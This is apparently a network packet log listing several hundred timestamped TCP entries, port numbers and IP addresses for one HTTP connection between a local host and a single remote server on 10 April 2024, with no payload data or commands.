Apr 10, 2024 10:24:12.196633101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196633101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196633101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196633101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196652889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196652889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196652889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196652889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196652889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196726084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196829081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196829081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196829081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196829081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196829081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196902990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196902990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.196921110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197050095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197050095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197050095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197050095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197050095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197050095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197174072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197175026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197175026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197175026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197175026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197285891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197285891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197285891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197285891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197285891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197287083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197401047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197401047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197401047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197401047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197401047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197401047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197506905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197506905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197506905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197506905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197506905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197506905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197618008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197618008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197618008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197618008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197618008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197618008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197735071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197735071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197735071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197735071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197735071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197735071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197843075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197843075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197843075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197843075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197843075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197843075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197959900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197959900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197959900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197959900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197959900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.197959900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198062897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198062897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198064089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198064089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198064089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198064089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198178053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198178053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198178053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198178053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198178053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198178053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198286057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198286057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198286057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198286057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198286057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198286057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198399067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198399067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198399067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198399067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198399067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198399067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198506117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198506117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198506117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198506117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198506117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198506117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198616982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198616982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198616982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198616982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198616982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198616982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198723078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198723078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198723078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198723078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198723078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198723078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198862076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198862076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198862076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198862076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198862076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198862076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198966026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198966026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198966026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198966980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198966980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.198966980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199081898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199081898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199081898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199081898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199081898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199081898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199193954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199193954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199193954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199194908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199194908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199194908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199302912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199302912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199302912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199302912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199302912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199302912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199434042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199434042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199434042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199434042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199434042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199434042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199542999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199542999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199542999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199542999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199542999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199542999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199656010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199656010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199656010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199656010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199656010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199656010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199767113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199767113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199767113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199767113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199767113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199767113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199807882 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.199825048 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.199839115 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.199845076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199845076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199845076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199845076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199975014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199975014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199975014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.199975967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200093031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200093031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200093031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200093031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200093031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200093031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200206041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200206041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200206041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200206041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200206041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200206041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200324059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200324059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200324059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200324059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200324059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200324059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200437069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200437069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200437069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200438023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200438023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200438023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200557947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200557947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200557947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200557947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200557947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200557947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200772047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200772047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200772047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200772047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200772047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200799942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200800896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200823069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200823069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200823069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200948000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200948000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200948000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200948000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200948000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.200948000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201083899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201083899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201083899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201083899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201083899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201225996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201225996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201225996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201225996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201225996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201225996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201342106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201342106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201343060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201343060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201343060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201343060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201456070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201456070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201456070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201456070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201456070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201456070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201570034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201570988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201570988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201570988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201570988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201570988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201680899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201680899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201680899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201680899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201680899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201680899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201790094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201790094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201790094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201790094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201790094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201790094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201900959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201900959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201900959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201900959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201900959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.201900959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202115059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202115059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202115059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202115059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202115059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202115059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202182055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202182055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202182055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202317953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202317953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202317953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202317953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202317953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202317953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202446938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202446938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202446938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202446938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202446938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202446938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202560902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202560902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202560902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202562094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202562094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202562094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202672005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202672005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202672005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202672005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202672005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202672005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202779055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202779055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202779055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202779055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202779055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202779055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202893972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202893972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202893972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202893972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202893972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.202893972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203007936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203007936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203007936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203007936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203007936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203007936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203116894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203116894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203116894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203116894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203116894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203116894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203228951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203228951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203228951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203228951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203228951 CEST	49718	80	192.168.2.5	185.196.8.137
